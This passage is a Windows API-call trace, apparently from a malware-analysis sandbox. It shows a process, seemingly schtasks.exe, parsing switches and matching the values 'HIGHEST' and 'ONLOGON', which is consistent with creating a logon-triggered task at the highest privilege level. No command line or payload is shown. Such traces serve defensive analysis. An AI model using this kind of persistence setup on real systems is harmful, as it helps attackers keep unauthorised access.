_Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.924] lstrlenW (lpString="|p|") returned 3 [0142.925] lstrlenW (lpString="|f|") returned 3 [0142.925] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0142.925] SetLastError (dwErrCode=0x490) [0142.925] lstrlenW (lpString="ru") returned 2 [0142.925] lstrlenW (lpString="ru") returned 2 [0142.925] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] lstrlenW (lpString="f") returned 1 [0142.925] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ru|") returned 4 [0142.925] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.925] lstrlenW (lpString="|ru|") returned 4 [0142.925] lstrlenW (lpString="|f|") returned 3 [0142.925] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0142.925] SetLastError (dwErrCode=0x490) [0142.925] lstrlenW (lpString="rp") returned 2 [0142.925] lstrlenW (lpString="rp") returned 2 [0142.925] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] lstrlenW (lpString="f") returned 1 [0142.925] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rp|") returned 4 [0142.925] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.925] lstrlenW (lpString="|rp|") returned 4 [0142.925] lstrlenW (lpString="|f|") returned 3 [0142.925] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0142.925] SetLastError (dwErrCode=0x490) [0142.925] lstrlenW (lpString="sc") returned 2 [0142.925] lstrlenW (lpString="sc") returned 2 [0142.925] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] lstrlenW (lpString="f") returned 1 [0142.925] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.925] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.925] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.925] lstrlenW (lpString="|sc|") returned 4 [0142.925] lstrlenW (lpString="|f|") returned 3 [0142.926] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0142.926] SetLastError (dwErrCode=0x490) [0142.926] lstrlenW (lpString="mo") returned 2 [0142.926] lstrlenW (lpString="mo") returned 2 [0142.926] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] lstrlenW (lpString="f") returned 1 [0142.926] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|mo|") returned 4 [0142.926] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.926] lstrlenW (lpString="|mo|") returned 4 [0142.926] lstrlenW (lpString="|f|") returned 3 [0142.926] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0142.926] SetLastError (dwErrCode=0x490) [0142.926] lstrlenW (lpString="d") returned 1 [0142.926] lstrlenW (lpString="d") returned 1 [0142.926] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] lstrlenW (lpString="f") returned 1 [0142.926] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|d|") returned 3 [0142.926] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.926] lstrlenW (lpString="|d|") returned 3 [0142.926] lstrlenW (lpString="|f|") returned 3 [0142.926] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0142.926] SetLastError (dwErrCode=0x490) [0142.926] lstrlenW (lpString="m") returned 1 [0142.926] lstrlenW (lpString="m") returned 1 [0142.926] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] lstrlenW (lpString="f") returned 1 [0142.926] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.926] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|m|") returned 3 [0142.926] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.926] lstrlenW (lpString="|m|") returned 3 [0142.926] lstrlenW (lpString="|f|") returned 3 [0142.927] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0142.927] SetLastError (dwErrCode=0x490) [0142.927] lstrlenW (lpString="i") returned 1 [0142.927] lstrlenW (lpString="i") returned 1 [0142.927] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] lstrlenW (lpString="f") returned 1 [0142.927] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|i|") returned 3 [0142.927] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.927] lstrlenW (lpString="|i|") returned 3 [0142.927] lstrlenW (lpString="|f|") returned 3 [0142.927] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0142.927] SetLastError (dwErrCode=0x490) [0142.927] lstrlenW (lpString="tn") returned 2 [0142.927] lstrlenW (lpString="tn") returned 2 [0142.927] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] lstrlenW (lpString="f") returned 1 [0142.927] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.927] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.927] lstrlenW (lpString="|tn|") returned 4 [0142.927] lstrlenW (lpString="|f|") returned 3 [0142.927] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0142.927] SetLastError (dwErrCode=0x490) [0142.927] lstrlenW (lpString="tr") returned 2 [0142.927] lstrlenW (lpString="tr") returned 2 [0142.927] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] lstrlenW (lpString="f") returned 1 [0142.927] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.927] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.927] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.927] lstrlenW (lpString="|tr|") returned 4 [0142.927] lstrlenW (lpString="|f|") returned 3 [0142.927] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0142.928] SetLastError (dwErrCode=0x490) [0142.928] lstrlenW (lpString="st") returned 2 [0142.928] lstrlenW (lpString="st") returned 2 [0142.928] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] lstrlenW (lpString="f") returned 1 [0142.928] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|st|") returned 4 [0142.928] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.928] lstrlenW (lpString="|st|") returned 4 [0142.928] lstrlenW (lpString="|f|") returned 3 [0142.928] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0142.928] SetLastError (dwErrCode=0x490) [0142.928] lstrlenW (lpString="sd") returned 2 [0142.928] lstrlenW (lpString="sd") returned 2 [0142.928] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] lstrlenW (lpString="f") returned 1 [0142.928] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sd|") returned 4 [0142.928] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.928] lstrlenW (lpString="|sd|") returned 4 [0142.928] lstrlenW (lpString="|f|") returned 3 [0142.928] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0142.928] SetLastError (dwErrCode=0x490) [0142.928] lstrlenW (lpString="ed") returned 2 [0142.928] lstrlenW (lpString="ed") returned 2 [0142.928] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] lstrlenW (lpString="f") returned 1 [0142.928] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.928] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ed|") returned 4 [0142.928] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.928] lstrlenW (lpString="|ed|") returned 4 [0142.928] lstrlenW (lpString="|f|") returned 3 [0142.929] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0142.929] SetLastError (dwErrCode=0x490) [0142.929] lstrlenW (lpString="it") returned 2 [0142.929] lstrlenW (lpString="it") returned 2 [0142.929] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] lstrlenW (lpString="f") returned 1 [0142.929] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|it|") returned 4 [0142.929] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.929] lstrlenW (lpString="|it|") returned 4 [0142.929] lstrlenW (lpString="|f|") returned 3 [0142.929] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0142.929] SetLastError (dwErrCode=0x490) [0142.929] lstrlenW (lpString="et") returned 2 [0142.929] lstrlenW (lpString="et") returned 2 [0142.929] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] lstrlenW (lpString="f") returned 1 [0142.929] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|et|") returned 4 [0142.929] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.929] lstrlenW (lpString="|et|") returned 4 [0142.929] lstrlenW (lpString="|f|") returned 3 [0142.929] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0142.929] SetLastError (dwErrCode=0x490) [0142.929] lstrlenW (lpString="k") returned 1 [0142.929] lstrlenW (lpString="k") returned 1 [0142.929] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] lstrlenW (lpString="f") returned 1 [0142.929] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.929] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|k|") returned 3 [0142.929] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.929] lstrlenW (lpString="|k|") returned 3 [0142.930] lstrlenW (lpString="|f|") returned 3 [0142.930] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0142.930] SetLastError (dwErrCode=0x490) [0142.930] lstrlenW (lpString="du") returned 2 [0142.930] lstrlenW (lpString="du") returned 2 [0142.930] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] lstrlenW (lpString="f") returned 1 [0142.930] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|du|") returned 4 [0142.930] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.930] lstrlenW (lpString="|du|") returned 4 [0142.930] lstrlenW (lpString="|f|") returned 3 [0142.930] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0142.930] SetLastError (dwErrCode=0x490) [0142.930] lstrlenW (lpString="ri") returned 2 [0142.930] lstrlenW (lpString="ri") returned 2 [0142.930] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] lstrlenW (lpString="f") returned 1 [0142.930] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ri|") returned 4 [0142.930] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.930] lstrlenW (lpString="|ri|") returned 4 [0142.930] lstrlenW (lpString="|f|") returned 3 [0142.930] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0142.930] SetLastError (dwErrCode=0x490) [0142.930] lstrlenW (lpString="z") returned 1 [0142.930] lstrlenW (lpString="z") returned 1 [0142.930] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] lstrlenW (lpString="f") returned 1 [0142.930] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.930] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|z|") returned 3 [0142.930] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.930] lstrlenW (lpString="|z|") returned 3 [0142.930] lstrlenW (lpString="|f|") returned 3 [0142.930] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0142.931] SetLastError (dwErrCode=0x490) [0142.931] lstrlenW (lpString="f") returned 1 [0142.931] lstrlenW (lpString="f") returned 1 [0142.931] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.931] lstrlenW (lpString="f") returned 1 [0142.931] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.931] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.931] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.931] lstrlenW (lpString="|f|") returned 3 [0142.931] lstrlenW (lpString="|f|") returned 3 [0142.931] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0142.931] SetLastError (dwErrCode=0x0) [0142.931] SetLastError (dwErrCode=0x0) [0142.931] GetProcessHeap () returned 0x2f0000 [0142.931] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd10 [0142.931] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.931] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0142.931] lstrlenW (lpString="LIMITED") returned 7 [0142.931] GetProcessHeap () returned 0x2f0000 [0142.931] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d5a0 [0142.931] GetThreadLocale () returned 0x409 [0142.931] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0142.931] GetProcessHeap () returned 0x2f0000 [0142.931] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cce0 [0142.931] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.931] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0142.931] lstrlenW (lpString="HIGHEST") returned 7 [0142.931] GetProcessHeap () returned 0x2f0000 [0142.931] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d5c0 [0142.931] GetThreadLocale () returned 0x409 [0142.931] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccb0 [0142.932] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.932] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0142.932] lstrlenW (lpString="MINUTE") returned 6 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d5e0 [0142.932] GetThreadLocale () returned 0x409 [0142.932] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc80 [0142.932] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.932] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0142.932] lstrlenW (lpString="HOURLY") returned 6 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d600 [0142.932] GetThreadLocale () returned 0x409 [0142.932] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc50 [0142.932] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.932] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0142.932] lstrlenW (lpString="DAILY") returned 5 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d620 [0142.932] GetThreadLocale () returned 0x409 [0142.932] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc20 [0142.932] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.932] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0142.932] lstrlenW (lpString="WEEKLY") returned 6 [0142.932] GetProcessHeap () returned 0x2f0000 [0142.932] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d640 [0142.932] GetThreadLocale () returned 0x409 [0142.933] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0142.933] GetProcessHeap () returned 0x2f0000 [0142.933] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbf0 [0142.933] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.933] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0142.933] lstrlenW (lpString="MONTHLY") returned 7 [0142.933] GetProcessHeap () returned 0x2f0000 [0142.933] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d660 [0142.933] GetThreadLocale () returned 0x409 [0142.933] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0142.933] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.933] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0142.933] lstrlenW (lpString="ONCE") returned 4 [0142.933] GetProcessHeap () returned 0x2f0000 [0142.933] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30d680 [0142.933] GetThreadLocale () returned 0x409 [0142.933] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0142.933] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.933] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0142.933] lstrlenW (lpString="ONSTART") returned 7 [0142.933] GetThreadLocale () returned 0x409 [0142.933] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0142.933] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.933] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0142.933] lstrlenW (lpString="ONLOGON") returned 7 [0142.933] GetThreadLocale () returned 0x409 [0142.933] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0142.933] SetLastError (dwErrCode=0x0) [0142.933] GetProcessHeap () returned 0x2f0000 [0142.933] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x1fc) returned 0x30c2f0 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0142.934] lstrlenW (lpString="First") returned 5 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0142.934] lstrlenW (lpString="Second") returned 6 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0142.934] lstrlenW (lpString="Third") returned 5 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0142.934] lstrlenW (lpString="Fourth") returned 6 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0142.934] lstrlenW (lpString="Last") returned 4 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0142.934] lstrlenW (lpString="First") returned 5 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0142.934] lstrlenW (lpString="Second") returned 6 [0142.934] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.934] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0142.934] lstrlenW (lpString="Third") returned 5 [0142.934] GetProcessHeap () returned 0x2f0000 [0142.934] GetProcessHeap () returned 0x2f0000 [0142.934] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d680) returned 1 [0142.934] GetProcessHeap () returned 0x2f0000 [0142.934] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d680) returned 0xa [0142.935] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d680 | out: hHeap=0x2f0000) returned 1 [0142.935] GetProcessHeap () returned 0x2f0000 [0142.935] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d680 [0142.935] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.935] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0142.935] lstrlenW (lpString="Fourth") returned 6 [0142.935] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.935] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0142.935] lstrlenW (lpString="Last") returned 4 [0142.939] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc5e0, cchData=128 | out: lpLCData="0") returned 2 [0142.939] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.939] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0142.939] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0) returned 1 